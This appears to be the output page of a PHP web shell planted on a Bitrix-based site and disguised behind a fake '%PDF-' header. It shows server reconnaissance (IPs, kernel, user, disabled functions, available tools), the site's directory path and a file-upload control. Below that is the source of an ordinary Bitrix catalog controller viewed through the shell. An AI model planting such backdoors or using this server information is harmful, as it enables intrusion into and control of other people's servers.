%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.51.233 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/lib/controller/ |
Upload File : |
<?php namespace Bitrix\Catalog\Controller; use Bitrix\Main\Engine; use Bitrix\Main\Engine\ActionFilter; use Bitrix\Main\Error; use Bitrix\Main\Loader; use Bitrix\Iblock\PropertyTable; use Bitrix\Highloadblock as HL; use Bitrix\Main\Security\Random; class ProductForm extends Engine\Controller { protected function getDefaultPreFilters() { return array_merge( parent::getDefaultPreFilters(), [ new ActionFilter\HttpMethod([ActionFilter\HttpMethod::METHOD_POST]), new ActionFilter\Scope(ActionFilter\Scope::AJAX), ] ); } public function setConfigAction($configName, $value): void { $formConfigs = [ 'showTaxBlock', 'showDiscountBlock', 'hiddenCompilationInfoMessage' ]; if (in_array($configName, $formConfigs, true)) { $value = ($value === 'N') ? 'N' : 'Y'; \CUserOptions::SetOption("catalog.product-form", $configName, $value); } } public function createBrandAction(array $fields): ?array { $iblockId = (int)$fields['iblockId']; $name = $fields['name']; if (empty($name)) { $this->addError(new Error("Empty name")); return null; } if (!Loader::includeModule('highloadblock') || !Loader::includeModule('iblock')) { $this->addError(new Error("Modules is not included")); return null; } if (!\CIBlockSectionRights::UserHasRightTo($iblockId, 0, 'section_element_bind')) { $this->addError(new Error("User has no permissions to create product")); return null; } $propertySettings = PropertyTable::getList([ 'select' => ['ID', 'USER_TYPE_SETTINGS'], 'filter' => [ '=IBLOCK_ID' => $iblockId, '=ACTIVE' => 'Y', '=CODE' => 'BRAND_REF', ], 'limit' => 1, ]) ->fetch() ; if (!$propertySettings) { return null; } $propertySettings['USER_TYPE_SETTINGS'] = ( $userTypeSettings = CheckSerializedData($propertySettings['USER_TYPE_SETTINGS']) ? unserialize($propertySettings['USER_TYPE_SETTINGS'], ['allowed_classes' => false]) : array() ); if (empty($userTypeSettings['TABLE_NAME'])) { return null; } $table = HL\HighloadBlockTable::getList( array( 'select' => array('TABLE_NAME', 'NAME', 'ID'), 'filter' => array('=TABLE_NAME' => $userTypeSettings['TABLE_NAME']) ) )->fetch(); $xmlId = Random::getString(16); $brandEntity = HL\HighloadBlockTable::compileEntity($table); $brandEntityClass = $brandEntity->getDataClass(); $resultAdd = $brandEntityClass::add([ 'UF_NAME' => $name, 'UF_XML_ID' => $xmlId, ]); if (!$resultAdd->isSuccess()) { $this->addErrors($resultAdd->getErrors()); return null; } return [ 'id' => $xmlId, ]; } }